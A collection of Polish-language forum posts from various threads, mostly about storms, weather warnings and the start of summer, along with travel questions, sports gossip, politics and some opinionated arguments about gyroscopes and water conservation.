> Jakby Wrocław nawiedziło coś takiego jak NO to tak samo byśmy sie "żałośnie"
> posrali jak Amerykanie.

Mów za siebie. Albo za Amerykanów - wygląda na to, że rzeczywiście, jak piszesz
- "się żałośnie posrali".
Supermocarstwo. Bobre sobie...

  Emma atakuje Polske!
Emma atakuje Polske!
Najsilniej orkan zaatakuje w drugiej połowie dnia i w nocy. Wiać będzie też w
niedzielę. Popołudniu w niedzielę stopniowo od zachodu wiatr zacznie słabnąć.
Ostatecznie ma się uspokoić około północy.

W weekend porywy wiatru w całej Polsce przekroczą 100 km/godz. Przez Polskę
przejdą burze z bardzo silnymi opadami deszczu, deszczu ze śniegiem, gradu,
krupy śnieżnej i lodowej. Możliwe, że znów pojawią się małe trąby powietrzne
oraz zjawisko downburst (silny prąd zstępujący).

  Interpretacja badań żyroskopów na UJ
Do absurdello i p.!
tylko jeden facet moze miec taka emocje na to aby az tak sie wysilac i pisac
takie bzdety jak wy!
po pierwsze; czy wam sie to podoba czy nie artykul jest opublikowany a jak
powiedzial wielki i nadety Jacek Klinowski:"odkrycie jest wtedy gdy sie go
opublikuje" powiedzial to jak zaczelo mi cos nie grac z jego zachowaniem i
poprosilem znajomego dziennikarza GW aby zrobil z nim wywiad na ktory sie
zgodzil a jak mu powiedzialem ze w takim razie bedzie ten wywiad za 5 minut
dostal furii!!! Wywiad mozna znalezc w archiwum GW. Po drugie ten Pan jest
obecnie w Polsce i pewnie ktorys z was lub abaj to On.
To ze wirnik inaczej sie kreci dla prawej i inaczej dla lewej rotacji mozna
sprawdzic na dowolnym zyroskope - pierwsze dwa pomiary beda rozne o okolo 25
procent - demonstrowalem to wielokrotnie na sprzecie instytutow ktore chcialy o
tym dyskutowac. Obrot w lewo do "tylu w czasie" to obrot w prawo.oznacza to ze
rownania ruchu wirnika sa asymetryczne wzgledem odwrocenia strzalki czasu -
operacji zamiany czasu t na czas minust! To ze istnieje zjawisko powszechne w
skali makro ukazujace taka fundamentalna niezgodnosc z mechanika jest
przynajmniej zaslugujace na badania tegoz! Proponuje abyscie swoja "burze
mozgow" odbywali gdzie indziej! Czy mnie bedziecie obrazac czy nie i tak nic nie
zmieni! Zjawisko istnieje i bedzie badane! A wasze tezy mozna strescic
nastepujaco: po wlaniu do baku samochodu wody ten nie jedzie wiec w ogole nie
moze jechac i najlepiej chodzic pieszo!

  Co teraz powie opozycja wycinania drzew ???
idą burze - uważać pod drzewami...
1 osoba zginęła podczas burz nad Polską

(12.03/17:04) - Z zachodu na wschód Polski przemieszcza się strefa
gwałtownych burz, którym towarzyszą intensywne opady deszczu i
porywisty wiatr osiągający 90 km/h. W tej chwili burze dotarły już
do dzielnic wschodnich i południowych. W tych regionach zjawiska
pogodowe mogą powodować spustoszenia. Wiatr może łamać gałęzie,
zrywać dachy i uszkadzać linie energetyczne pozbawiając prądu.
Podczas burz opady mogą mieć postać "oberwania chmury" z
gradobiciami. Przyczyną jest przemieszczający się nad Polską front
atmosferyczny, niosący znaczne ochłodzenie, o czym już wcześniej
przestrzegaliśmy. Niestety burzowa aura przynosi już pierwsze
ofiary. Na Podkarpaciu powalony przez wiatr komin przygniótł
mężczyznę powodując jego śmierć. Druga osoba została poważnie ranna.
Do wieczoru burze opuszczą Polskę, jednak to nie będzie koniec
niespokojnej aury. Wieczorem zacznie się nasilać wiatr związany z
niżem atmosferycznym Kirsten. W nocy i jutro w pierwszej połowie
dnia porywy zachodniego wiatru w całej Polsce mogą osiągać 70-80
km/h, a lokalnie 90 km/h. www.twojapogoda.pl

  Wiatr wyrywał drzewa, zrywał dachy z domów
najnowsze info...
całość tutaj:

www.alert24.pl/alert24/1,84880,4972886.html
a tutaj cytacik:

W weekend znów będzie bardzo mocno wiało - porywy w całej Polsce
przekroczą 100 km/godz., (wysoko w górach powyżej 150 km/godz.). Do
tego przejdą burze z ulewnym deszczem. Niewykluczony jest nawet
grad! (...)
Na linii frontu będą pojawiały się burze, podczas których wiatr może
przekraczać 150 km/godz. Możliwe, że znów pojawią się małe trąby
powietrzne oraz zjawisko downburst (silny prąd zstępujący).

info na bieżąco, tutaj:

www.lowcyburz.pl/forum/viewtopic.php?f=121&t=339

  Meteorolodzy ostrzegają: wieczorem groźne burze...
Z dużej chmury mały deszcz
na chwilę obecną w przeważającej części Polski nie ma zagrożeń meteorologicznych

www.imgw.pl/wl/internet/zz/zagrozenia/ost_met.html

Data i godzina wydania: 22.05.2007 - godz. 22:05
Nazwa biura: Centralne Biuro Prognoz Meteorologicznych Warszawa
ODWOŁANIE OSTRZEŻENIA Nr 45 wydanego dnia 22.05.2007 o godz. 13:13
Zjawisko: Aktywne burze/burze z gradem
Stopień zagrożenia: 2 (w skali 2-stopniowej)
Ważność: od godz. 17:00 dnia 22.05.2007 do godz. 18:00 dnia 23.05.2007
Obszar: Województwo łódzkie, mazowieckie, lubelskie
Przebieg:
prognozowane zjawisko nie wystąpi

  Dlaczego ludzie wierzą w Boga?
.pepe. napisał(a):
> OOOtóż to! Potwierdzasz więc moje zarzuty! Dodałbym, że żądanie odpowiedzi też
> występuje rzadko, bo kto rząda odpowiedzi, ten ma pytania, a kto ma pytania, tz
> n., że czego? nie rozumie, choc próbuje, czyli my?li

Tak, niestety, potwierdzam. Ale nie wszyscy wierzacy ludzie robia w ten sposob.
Na szczescie. To ze sie jest ateista nie musi tez byc dowodem na to ze sie jest
czlowiekiem myslacym.

> Akurat sfera szukania sensu życia, tłumaczenia sobie zjawisk zachodzących na ?w
> iecie, itp. nie wymaga ciepła i przyjemno?ci (przynajmniej ja tego nie oczekuję
> ), wolę do wszystkiego dochodzic sam przebijając się przez burze wątpliwo?ci i
> huragany zwątpienia (dobre, co? Choc troszkę banalne). Ciepła szukam w innych s
> ferach życia.

Bycie wierzacym "szukajacym" tez nie daje zbyt duzo ciepla. Szukanie "drogi",
wcale nie jest takie latwe. To co ja mowilam, to jest to w co ja wierze teraz.
Ale to nie znaczy ze bede w to wierzyc za pare lat. Moze wtedy znajde leprze
odpowiedzi...?

Tutaj w Polsce przynajmniej katolicyzm nie przeciwstawia sie nauce. W Ameryce
istnieje niby "nauka" ktora przeciwstawia sie ewolucji. Nazywa sie ona
Creationism - od angielskiego stworzenie.

Jesli umiesz angielski sprawdz na

http://www.creationism.org/

Az mi pot leci na mysl o ich bzdurach.

//NINNA

>

  Huragan "Fay" na Karaibach.
Jak to jest z bezpieczeństwem w hotelu podczas takiego huraganu???
Braliśmy Dominikanę pod uwagę na październikowe (ewent. listopadowe) wakacje.
Jedziemy jednak z 14-mies. córką, więc kwestie bezpieczeństwa są nadrzędne.
Wiem, że trudno przewidzieć zjawiska pogodowe, ale czy ktoś przeżył huragan
podczas wakacji w Dominikanie??? Jak to wygląda w praktyce???
A co jeśli huragan napatoczy się w czasie, kiedy będzie zaplanowany powrót do
domu??? Lot zostanie przesunięty, ale co z kosztami przedłużonego pobytu??? Czy
wyjazdy w tym okresie są ubezpieczone od tego typu zjawisk???

Strasznie chciałabym tam polecieć, bo te białe plaże i lazurowa woda są
spełnieniem moich najskrytszych marzeń. Nasza córcia też uwielbia zabawę w
piachu :)
Nie chcemy czekać do zimy, bo i tak już jesteśmy godni wakacji, a mąż może wziąć
urlop dopiero od połowy października. Wtedy w Europie jest już chłodno, a my się
chcemy porządnie wygrzać (byliśmy w czerwcu nad Bałtykiem, ale upałów nie było
niestety :/).

Zostają nam jeszcze Wyspy Kanaryjskie. Nie zachwyca mnie jednak szarość
wulkanicznego piachu i "księżycowy" krajobraz w cieplejszych rejonach Kanarów.
Piękna piaszczysta Fuerteventura jest za to zbyt wietrzna dla małego dziecka... :(((

Ale wracając do Dominikany... czy październikowy wyjazd z dzieckiem jest
bezpieczny??? Czy te huragany to faktycznie kataklizmy, czy większe burze,
których i u nas w Polsce nie mało???
Czy taki huragan "przelatuje" szybko, czy krąży wokół przez dłuższy czas?
Oglądałam kilka filmików na YouTube z huraganu Dean (ktoś podrzucił link w innym
wątku) i miałam wrażenie, że niektórych on nawet bawił... stąd moje wątpliwości.

Pozdrawiam...
Aga

ps. I niech mnie tu nikt nie wyklina, że chcę z dzieckiem tak daleko jechać
(wiem, wiem, jest też Egipt itp.), bo nie po to tu piszę. Chcę tylko zdobyć
kilka informacji od kogoś, kto wie o czym pisze i upewnić się, czy taki wyjazd w
tym czasie jest w ogóle bezpieczny.
Z góry dziękuję!!! :)

  Mamy lato!
Mamy lato!
Mamy lato!

Na półkuli północnej rozpoczęło się dzisiaj astronomiczne lato. W Polsce
powitaliśmy je o 8.46. Dzień letniego przesilenia trwa u nas 16 godzin i 47
minut, natomiast krócej na południu Europy, na przykład w Grecji - tylko 14
godzin i 30 minut.

Astronomiczne lato potrwa dokładnie 93 dni, 15 godzin i 37 minut; nie zawsze
pokrywa się z latem klimatycznym. W ubiegłym roku pogoda wyprzedziła
kalendarz i letnie temperatury mieliśmy już od końca kwietnia. W tym roku być
może letnia pogoda nadejdzie wraz z latem kalendarzowym.

- Tegoroczne lato może być bardzo zmienne pogodowo. Powinniśmy być
przygotowani na gwałtownie przebiegające zjawiska pogodowe, jak burze czy
gradobicia - uważa klimatolog z Instytutu Meteorologii i Gospodarki Wodnej,
dr hab. Halina Lorenc.

- Od roku 1992 lata w Polsce są często bardzo ciepłe lub gorące - podkreśla
Lorenc. - Rekordowymi pod względem temperatur były lata w 2002 i 2003 r.

Coraz częściej występują gwałtowne burze, ulewy, gradobicia, a także susze i
powodzie w okresach letnich - zaobserwowali meteorolodzy w IMiGW.

Zdaniem Lorenc, tegoroczne lato zapowiada się również bardzo dynamicznie. -
Mogą wystąpić okresy gwałtownych spadków temperatur, a także liczne
podtopienia - zarówno małe, krótkotrwałe, jak i dłuższe okresy podnoszenia
się poziomu wód na skutek nawałnic i ulew - zapowiedziała.

Klimatyczne lato trwa, dopóki średnia dobowa temperatura przekracza 15
stopni. Taka sytuacja ma miejsce zazwyczaj do połowy października. Lato
kalendarzowe kończy się 23 września.

W kapryśnym polskim klimacie, charakteryzującym się dużą zmiennością warunków
meteorologicznych, początek lata może przynieść różne typy pogody - od
tropikalnych upałów po chłody i deszcze.

W poprzednim stuleciu pierwszy dzień lata był najcieplejszy w Polsce w 1917
roku - termometry wskazywały ponad 35 stopni. Najchłodniej - poniżej 13-tu
stopni - było w tym dniu w 1923 roku.

Lato 1980 zaczęło się pod znakiem deszczu - i był to najbardziej "mokry" rok
w XX wieku. Natomiast rok 1982 - z bezdeszczowym latem zapoczątkował trwającą
ponad 13 lat rekordową w tym stuleciu suszę.
wiadomosci.gazeta.pl/wiadomosci/1,60935,2778364.html

  Skowrońska zawieszona przez AZS AWF Poznań
Właściwie nie zdążyliśmy jeszcze ochłonąć z emocji, których dostarczyły nam
nasze siatkarki, porządnie nacieszyć się ich sukcesem, a tu taki skandal! W
dodatku afera dotyczy jednej z największych gwiazd reprezentacji. Zawodniczki,
która podczas Mistrzostw Europy zrobiła prawdziwą furorę, podbiła serca tysięcy
fanów, stając się bodaj najpopularniejszą dziewczyną w Polsce. Zjawisko
zbiorowego szaleństwa na punkcie Kasi Skowrońskiej pozwala już chyba nazywać tę
przesympatyczną pannę naszym „Beckhamem w spódnicy”.

W tej sytuacji trudno się dziwić, że decyzja poznańskiego klubu wywołała istną
burzę. Naturalnie najbezpieczniej byłoby z ocenami i komentarzami wstrzymać
się do czasu, aż swoje stanowisko w tej sprawie ogłosi PZPS. Wszak piękne oczy
i ujmujący uśmiech to trochę za mało, by z góry zakładać, że racja leży po
stronie zawodniczki. Ale gotowy jestem zaryzykować. I to kierując się wyłącznie
logiką i zdrowym rozsądkiem.
Po pierwsze pani Kasia - przy całej swojej młodzieńczej spontaniczności -
sprawia wrażenie osoby bardzo dojrzałej. Wiemy, że marzy o grze w lidze
włoskiej, że otrzymała już stamtąd interesujące oferty, a jednak najbliższy
sezon zdecydowała się spędzić w kraju. Swoją karierą kieruje w sposób
przemyślany, więc dziecinne gierki w stylu Kalu Uche jakoś do niej nie pasują.
Po drugie już od kilku miesięcy wiadomo było, że odejściu siatkarki z Dantera
towarzyszyć może nieprzyjemna atmosfera. Sama zainteresowana, wyraźnie zdając
sobie z tego sprawę, unikała publicznych wypowiedzi na ten temat. Trudno
przypuszczać, aby w tej sytuacji nie konsultowała swoich poczynań z osobami
znającymi się na rzeczy. Przebywając nieustannie na zgrupowaniach kadry musiała
mieć ku temu wiele okazji. Jakoś nie chce mi się wierzyć, by w tym środowisku
nie znalazła kompetentnych doradców.
Po trzecie wreszcie - klub, w którym to same zawodniczki muszą biegać po
firmach w poszukiwaniu sponsorów jest dla mnie po prostu kompletnie
niewiarygodny. Nieudolność poznańskich działaczy wydaje się stanowić najlepszą
gwarancję, że ich roszczenia wobec pani Kasi są bezpodstawne, a cała afera to
jedynie groteskowa próba pozyskania funduszy. Próba, która jak zwykle zakończy
się fiaskiem.

Szczerze bym się zdziwił, gdyby za kilka godzin okazało się, iż nie mam racji.

  Jesli nie Kreta to co? I raz do Grecji...
Nie wiem czy życia starczy, aby zobaczyć to co w Grecji najciekawsze. Jeżeli
pogrzebiesz po różnych tematach tego forum, to znajdziesz tu informacje jakich
nie znajdziesz w żadnych przewodnikach. Ludzie byli w tak wielu miejscach i
niemal wszystkimi się zachwycają, bo wszędzie jest coś dla nich ciekawego.
Prawdą jest, że biura turystyczne ułatwiają tym, którzy pierwszy raz... W
przypadku Grecji, nawet ten pierwszy raz można zrobić bez biura podróży. A
dokąd? Może w miejsca, o których i w przewodnikach i nawet na tym forum
niewiele. Poczytaj np duskusję toczącą się o plażach. Padają różne nazwy, różne
miejsca. O niektóre toczą się bitwy godne Leonidasa, a nigdzie nie padła
propozycja np. Naxos. Wyspa, której praktycznie nie ma w naszych biurach
podróży a jest bardzo dużą wyspą z ciągnącymi się kilometrami szerokimi
piaszczystymi plażami, co w Grecji nie jest zjawiskiem częstym i to
występującym na tak dużą skalę jak właśnie na Naxos. Całe zachodnie wybrzeże
tej wyspy na południe od Agia Anna to jedna wielka piaszczysta plaża. Na wyspie
jest bardzo dużo miejsc godnych zwiedzenia. Warto wziąć na trzy dni auto i
intensywnie podróżując można odwiedzić wszystkie najciekawsze miejsca
(powtarzam - robiąc to intensywnie). Jeśli Ci się znudzi, co jest tam
niemożliwe, możesz zmienić na drugi tydzień wyspę i przenieść się na sąsiednią
Paros. Też w polskich biurach jej praktycznie nie ma, a też jest i poleżeć
gdzie, i jest co pozwiedzać i pooglądąć (a może to właśnie Ty znajdziesz setne
okno - o co chodzi? To może na później), można się wybrać na jednodniową
wycieczkę na Antiparos, ale wtedy masz chyba przechlapane, bo następnego dnia
też tam popłyniesz. Z Paros bądź Naxos możesz również wybrać się na zwiedzanie
Delos, ktorego nie sposób nie zobaczyć. Pewnie, że można to zrobić z pięknego
Mykonos, ale Mykonos, to tylko plaże i piękne, cudowne wręcz miasteczko, tylr
tylko że tłumne.
Jak widzisz rekomenduję Ci wyspy. Wszystkie na Cykladach. Nie znaczy to, że w
lądowej częsci Hellady czy na innych wyspach nie ma pięknych miejsc. Są,
oczywiście, że są. Jednak Cyklady to inny świat. Nie mówię, że lepszy, bo zaraz
wywoła to burzę i dyskusję o wyższości świąt. Jest to inny, ciekawy i piękny
świat, do ktorego trzeba dotrzeć. Można to zrobić samemu, bez pośrednictwa biur
podróży. Wystarczy wsiąść do samolotu do Aten, z lotniska bezpośrednim
autobusem do portu w Pireusie i wybrać wyspę. Kwaterę znajdziesz sobie już na
wyspie bez żadnych problemów.

  Ludzkość marnuje wodę
Pseudonaukowcy usiłują nam wmówić iż powinniśmy jakoś specjalnie "oszczędzać
wodę" (w Polsce) bo w Afryce susza. Debilizm ich rozumowania jest oczywisty -
problem nie leży w braku wody - lecz w dostępności wody słodkiej w danym
miejscu na Ziemii. "Oszczędzanie wody" w rejonach gdzie jest jej dużo
sprowadza się do wzrostu zysków ludzi ją sprzedających (sprzedają mniej za
tyle samo, koszty uzdatniania maleją, cena rośnie, podatki nota bene też) - co
nie pozostaje w jakimkolwiek związku z ekologią.

To tak, jakby ktoś kto ma zdrowe zęby musiał je sobie wyrwać, bo sąsiad miał
próchnicę i jest szczerbaty!

Owszem, osuszanie bagien, regulacja rzek (betonowe koryta), zrzucanie ścieków,
nawozy sztuczne i pestycydy itd. itp. - to wszystko jest przeciw Naturze. I
gdy desz zamiast wsiąkać w grunt spływa po asfalcie do kanalizacji burzowej to
jest to po prostu złe.

Ale zastanówcie się co jest lepsze - kąpać się (woda cyrkuluje) - czy też
śmierdzieć (woda nie cyrkuluje, dany teren jest jeszcze szybciej odwadniany).

Sztuczne nawadnianie... no niby zasala grunty. Hmmm... czym? Bo jeżeli zasala
grunty solami mineralnymi wypłukanymi z tychże gruntów... to w czym problem?
Składniki wracają na swoje miejsce. No chyba że ktoś nawadnia pola solanką czy
wodą morską... ale jeżeli deszczówka miałaby być szkodliwa, to chyba winić
należałoby przemysł (kwaśnie deszcze) - a nie rolnictwo czy takich np.
działkowców.

Nota bene, ilość wody - H2O - nie jest na Ziemi stała. Woda jest związkiem
chemicznym i jest produkowana m.i. w organiźmie człowieka (człowiek wydala
więcej wody niż jej konsumuje), w cyklu fotosyntezy jest rozkładana (gazowy
tlen w fotosyntezie powstaje nie z CO2 ale z H2O) i ogólnie uczestniczy w
wielu reakcjach nie tylko jako rozpuszczalnik. Samochodziki pierdzą spalinkami
i wodą - co ładnie widać w zimie. Stałe są - mniej więcej - ilość atomów tlenu
i ilość atomów wodoru (pierwiastków) - trochę ich leci w Kosmos, trochę
przybywa z Kosmosu, trochę reakcji jądrowych - ale skala tych zjawisk jest
pomijalna.

Krótko - tzw. "naukowcy" z WWF to po prostu kit. A cały artykuł ma na celu
nakręcenie zysków od handlu wodą.

  NATO chce zachowac WSI, oj chyba nie
CIA ma tu być wyrocznią?
klip-klap napisał:

> coroczne raporty
> analityków CIA dotyczące służb specjalnych państw NATO. Już w 1999 r.
> analitycy tej instytucji stwierdzili, że „największe zaniepokojenie budzi
> fakt, że wpływy w tych służbach mają ludzie, którzy podczas zimnej wojny i
> później zajmowali się działalnością szpiegowską przeciwko państwom NATO –
> głównie przeciwko Stanom Zjednoczonym i Wielkiej Brytanii”. W 2003 r. ci
> sami
> eksperci podkreślali, że polskie służby specjalne nie zapobiegły
> rozmieszczeniu rosyjskich rakiet dalekiego zasięgu w obwodzie kaliningradzkim.
> Rok później zwracali uwagę, że najważniejsi oficerowie WSI byli zamieszani w
> kryminalne afery i bardziej wikłali się w intrygi polityczne niż w działalność
> dla bezpieczeństwa państwa. „Wojskowe służby specjalne w Polsce funkcjonu
> ją
> ciągle według zasad obowiązujących w czasach komunistycznych. Od upadku
> komunizmu nic się w nich nie zmieniło. Przyczyną tego zjawiska jest fakt, że
> służbami tymi sterują oficerowie szkoleni w Moskwie przez sowiecki wywiad”
> ;–
> czytamy w raporcie."

**************

Niech Wassermann zrobi kontrraport o CIA. Na przykład niech im wytknie, że
wystawili swych słowiańskich sojuszników na pośmiewisko, twierdząc że Irak
posiadał broń masowego rażenia. I niech im przypomni, że w latach 80-tych
angażowali się w poparcie dla Saddama i Talibów. W Waszyngtonie wywoła to z
pewnością wielką polityczną burzę. Posypią się głowy he he. Może wprowadzą
opcję zerową

  Lato, astronomiczne juz jest od 8.46
Lato, astronomiczne juz jest od 8.46
Dziś początek lata

pi, PAP 21-06-2005, ostatnia aktualizacja 21-06-2005 09:15

O godz. 8.46. słońce wstąpiło w znak Raka, rozpoczynając tym samym okres
astronomicznego lata. Według meteorologów, może być ono w tym roku pełne
gwałtownych zmian pogody i takich zjawisk jak burze, ulewy i gradobicia

Jednak początek tzw. lata klimatycznego jest wyznaczany przez pomiary
temperatury - gdy przez 3-5 kolejnych dni średnia dobowa temperatura
przekracza 15 stop. Celsjusza.

- Tegoroczne lato może być bardzo zmienne pogodowo. Powinniśmy być
przygotowani na gwałtownie przebiegające zjawiska pogodowe, jak burze czy
gradobicia - uważa klimatolog z Instytutu Meteorologii i Gospodarki Wodnej,
dr hab. Halina Lorenc.

- Od roku 1992 lata w Polsce są często bardzo ciepłe lub gorące - podkreśla
Lorenc. - Rekordowymi pod względem temperatur były lata w 2002 i 2003 r.

Coraz częściej występują gwałtowne burze, ulewy, gradobicia, a także susze i
powodzie w okresach letnich - zaobserwowali meteorolodzy w IMiGW.

Zdaniem Lorenc, tegoroczne lato zapowiada się również bardzo dynamicznie. -
Mogą wystąpić okresy gwałtownych spadków temperatur, a także liczne
podtopienia - zarówno małe, krótkotrwałe, jak i dłuższe okresy podnoszenia
się poziomu wód na skutek nawałnic i ulew - zapowiedziała.

Ostrzegła przed coraz intensywniejszymi i groźniejszymi burzami. "Są krótkie,
bardzo silne i powodują coraz większe straty" - zaznaczyła. Bardzo
niebezpieczne i uciążliwe, szczególnie dla rolników, mogą być też zapowiadane
przez IMGW gradobicia.

Na terenie Polski, według Lorenc, mogą nawet wystąpić bardzo groźne huragany
i trąby powietrzne, podczas których prędkość wiatru może sięgać 360 km/ godz.
Taki lokalny huragan był przyczyną spustoszenia Puszczy Piskiej w lipcu 2002
r.

- Obecnie tego rodzaju zjawiska muszą być wliczone w codzienność i styl życia
Polaków - uważa Lorenc. - W Polsce trzeba nauczyć się dostrzegać zagrożenia i
potencjalne straty wynikające z gwałtownych zmian pogody

Lubię lato, mniej niż wiosne , bo nie znoszę upałów , ale lubię, więc witaj
lato.

  Ostrzeżenie pogodowe
Jutro gwałtowne załamanie pogody

Jutro rano na zachodnią i południową część Polski nadciągnie front niosący
gwałtowny spadek temperatury a także ulewy, burze, grad i wichury. Poniżej
nasze najnowsze prognozy...

PEŁNY ARTYKUŁ
PEŁNY ARTYKUŁ

Z zachodu na wschód Europy przemieszcza się bardzo aktywny chłodny front
atmosferyczny oddzielający dwie silnie zróżnicowane masy powietrza. Po jego
wschodniej stronie zalega bardzo gorące powietrze napływające znad Afryki.
Polska jest obecnie pod wpływem właśnie tej masy powietrza, dlatego też dzisiaj
termometry w naszym kraju maksymalnie wskażą 30 stopni. Tymczasem po zachodniej
stronie owego frontu panuje bardzo chłodne powietrze pochodzące znad Atlantyku.
Na styku tych dwu mas powietrza formują się potężne chmury burzowe, które
przynoszą bardzo gwałtowne zjawiska atmosferyczne od ulew i burz przez
gradobicia na wichurach skończywszy. Dzisiaj front przechodzi nad Francją,
Niderlandami i zachodnimi Niemcami, a w nocy z poniedziałku na wtorek wtargnie
do wschodnich Niemiec i nad Czechy. We wszystkich tych krajach spodziewamy się
groźnych nawałnic. Nad ranem we wtorek strefa wkroczy do zachodniej Polski a z
biegiem dnia opanuje już całą zachodnią i południową część kraju. Ostrzegamy
przez bardzo silnymi opadami deszczu, do 50 litrów wody na metr kwadratowy
ziemi, gwałtownymi burzami, porywistym wiatrem mogącym osiągać 100 km/h oraz
lokalnymi gradobiciami. Wraz ze zmianą pogody nastąpi nagły spadek temperatury
z 30 do zaledwie 10 stopni. W środę ochłodzi się także w pozostałych regionach
Polski. Pamiętajmy więc aby już dziś uprzątnąć wszystko z balkonów oraz
przestawić samochody spod drzew i słupów energetycznych. Warto również śledzić
na bieżąco nasze ostrzeżenia, prognozy i informacje. Źródło: Twoja Pogoda.
(Dodane: 04.07 / 01:21)

Oby ominęło Poznań i moją dzielnicę - to prośba egoistyczna.

  Ostrzeżenie pogodowe
Upalny tydzień- lato całom gembom , wreszcie
Upalnie i słonecznie przez cały tydzień

Cały tydzień z pogodnym niebem i temperaturą ponad 30 stopni na północy Polski.
Od wtorku taka sama pogoda zawita również na południe...

PEŁNY ARTYKUŁ
PEŁNY ARTYKUŁ

Wszyscy, którzy wybierają się właśnie na plaże Bałtyku lub Mazury będą mieli
udany wypoczynek. Pogoda w tych regionach Polski będzie dopisywać jak nigdzie
indziej. A wszystko to dzięki niżom i strefom ulew i burz, które od kilku dni
zalegają nad południem Polski i tam też będą przynosić groźne zjawiska aż do
wtorku (12.07). Skumulowanie opadów na południu kraju sprawi, że północna
połowa Polski będzie pod panowaniem wyżu znad Skandynawii, który również przez
cały nowy tydzień zapewni czyste niebo i prawdziwy upał. Jeszcze dziś na
północy na termometrach nawet 29-30 stopni ale w kolejnych dniach żar będzie
jeszcze większy. Jutro do 31 stopni a we wtorek i środę (12-13.07) nawet 32-33
stopnie. Przy takim upale opalanie będzie bardzo groźne a urlopowicze jak i
mieszkańcy powinni wyposażyć się w czapki i kapelusze, pić olbrzymie ilości
wody oraz unikać przebywania w pełnym słońcu. Susza i upał to bardzo złe wieści
dla alergików, dlatego te regiony powinny być przez nich omijane wielkim
łukiem. Ci którzy zamierzają się ochłodzić w jeziorach powinni wiedzieć, że
woda ma na Mazurach 23 stopnie. W Bałtyku jest o 1-2 stopnie chłodniejsza. Na
południu Polski ulewy i burze, miejscami mogące zmieniać się w nawałnice, aż do
wtorku (12.07) przy nie więcej niż 25 stopniach. Potem gwałtowne ocieplenie,
upał do 33 stopni i pełnia słońca. Wszystko wskazuje na to, że ten tydzień
będzie jednym z najgorętszych tego lata, a bezchmurne niebo i upał niejednemu
Polakowi zdąży się jeszcze znudzić. Źródło: Twoja Pogoda. (Dodane: 10.07 /
01:11)

  "Zero tolerancji"!
edek40 napisał:

> Tu jednak majaczenie i ponoszenie nie ma nic do rzeczy. Gdybym
napisal, ze policja wzorowo wykonuje swoje obowiazki, ....

Napisałeś że stawia fotoradary i dlatego nie ma czasu na
kontrolowanie ruchu drogowego, stad moje dociekania bo ja nigdy nie
widziałem by policja je stawiała poza tymi nielicznymi przenosnymi...

> W ktorym miejscu? Wtedy, gdy napisalem, ze ja robie swoje, a
pozostali odpowiedzialni za drogi nie?

> Dokładnie nie chce mi sie sprawdzać ale rozumiem, że jednak ich
nie wyreczasz. To dobrze bo to dośc grożne by byc mogło....

> Piekna historia. I slusznie oceniona przez instruktora. Co to ma
jednak wspolnego z niebezpiecznymi odcinkami drog, ktore pomimo
dobrego oznakowania ciagle sa swiadkami wypadkow?

A no to że droga nawet najlepiej oznakowana czasem nas przerasta a
instruktor nie zawsze jest pod reką. Trzeba sobie radzic samemu i
najlepiej zaczać od wolno i ostroznie. To dotyczy kazdej dziedziny
życia nie tylko ruchu drogowego. Nie darmo funkcjonuje
powiedzenie "Jak sie człowiek spieszy to sie diabeł cieszy...."

> Jawisz mi sie jako Swiety...

A ja sobie jedynie jako zaradny i przewidujacy ...

> Cale widoczne niebo co jakis czas rozblyskiwalo snopami iskier z
plonacych meteorytow.... Z polnocnego-zachodu nadciagal potezny
front burzowy, ktory ubarwial niezwykle widowisko poteznymi
wyladowaniami, co ciekawe tak skierowanymi do ziemi, jak i
wewnatrzchmurowymi...

No to sie przynajmniej wyjasniło a juz zastanawiałem sie czy nie
budować schronu...Chociaż te snopy iskier ???
W sierpniu "deszcz meteorytów" to zjawisko normalne pewnie nawet jak
poszukasz znajdziesz dokładną date kiedy sie ich można spodziewać.

> Gdy zobacze pierwszego
> policjanta, ktory pogonil pirata w Polsce, rowniez zapamietam to.

Co do Policji ścigajacej piratów to kup sobie CB tam możesz
posłuchac, gdzie akurat scigaja, bo jak widać zobaczyc to z twoim
wzrokiem pewnie bedzie ciezko. Zapewniam cie ze nie bedziesz musiał
czekać na pierwsze informacje tak długo jak na deszcz meteorytów
(nawet bez burzy)
Ale możesz również poszukac linków do niektórych fimików z poscigów
w necie.

  "pokój bezpieczny" w domu - jak, gdzie itp.
Tego od Wilczego Szańca poszukam jak będę robić dobudówkę :)

Ja też nie do końca umiem to sobie wyobrazić jak to zrobić, ale zdaje się, że
tak właśnie są robione takie pokoje w domach w USA. Czyli koncepcja istnieje,
jest opracowana, lecz w Polsce niepraktykowana. Liczę na to, że wyliczenie i
zaprojektowanie tego nie jest czymś trudnym.
Na zewnątrz odpada, z powodów o których pisałam. Na zewnątrz to można sobie
robić w krajach, które mają system ostrzegania przed gwałtownymi zjawiskami i
pacjent ma czas, aby wyjść z domu odpowiednio wcześniej (tzn nie już w trakcie
zjawiska) i udać się nienerwowo do schronu. Przypominam, że chcę to dostosować
do możliwości ewakuacji jednej osoby z dwójką małych dzieci na rękach.

Swoją drogą, poczytałam sobie pod tym kątem parę for budowlanych i problem
"bezpieczeństwo domu w obliczu gwałtownej pogody" jest traktowany jako objaw
braku zdrowia psychicznego, pomimo tego, że rocznie kilkadziesiąt domów (i to
niekoniecznie ruder) traci co najmniej dachy w wyniku tychże zjawisk. Normy
budowlane w Polsce nie przewidują zagrożeń z tej strony, a przynajmniej nie w
takie skali, jakie są aktualne w Polsce od kilku lat i będą aktualne coraz
bardziej i coraz częściej. No, chyba, że budujesz w Tatrach albo na plaży. A
trąb powietrznych w Polsce (silniejszych i słabszych) jest od paru lat nawet
kilkadziesiąt rocznie w sezonie letnim, burze z gwałtownymi szkwałami (takimi
jak słynny szkwał na Mazurach w zeszłym roku) są w podobnej liczebności, niezłe
wichury typu orkan mieliśmy w tym roku już ze 3 tylko w zimie. Bo mnie to
przemawia, być może z racji mieszkania w domku z kart. Domyślam się, że
mieszkańcy domów o solidniejszej konstrukcji mogą tego problemu nie doceniać.

A domy wyglądają wtedy tak (te murowane, bo mój to po prostu byłby płaski):
kartuzy.info/index.php?m=2&id=1804
www.muratordom.pl/budowa-i-remont/dachy-i-stropy/domy_-w-ktore-uderzyla-traba___,6330_19341.htm
Z artykułu w Muratorze wynikają zresztą ciekawe wnioski.

Najmniejszego zdziwienia nie budzi za to trzymanie "dla bezpieczeństwa" w domu
psa - mordercy i zasieki z drutu kolczastego przed złodziejami. Hmmm.

  I OD NOWA
Prawie weekend.
Brrr...Zimno juz jest. Jest minus cztery Ce a ma byc minus szesc
w ciagu dnia. Jakos zimniej o tej porze niz w zeszlym roku.
W tym roku duzo rzeczy jest innych i ciekawszych.

